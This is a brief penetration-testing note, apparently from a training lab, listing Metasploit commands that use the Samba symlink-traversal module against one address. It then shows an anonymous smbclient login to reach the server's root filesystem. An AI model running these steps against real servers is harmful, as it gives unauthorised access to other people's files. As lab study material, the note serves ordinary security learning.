symlink traversal

symlink traversal

• exploiting samba_symlink_traversal vuln to get root filesystem access https://null-byte.wonderhowto.com/how-to/get-root-filesystem-access-via-samba-symlink-traversal-0198509/

  • msfconsole

    • use auxiliary/admin/smb/samba_symlink_traversal

    • set rhost 10.11.1.136

    • set smbshare Bob Share

    • exploit

• smbclient //10.11.1.136/”Bob Share” -N

  • cd rootfs/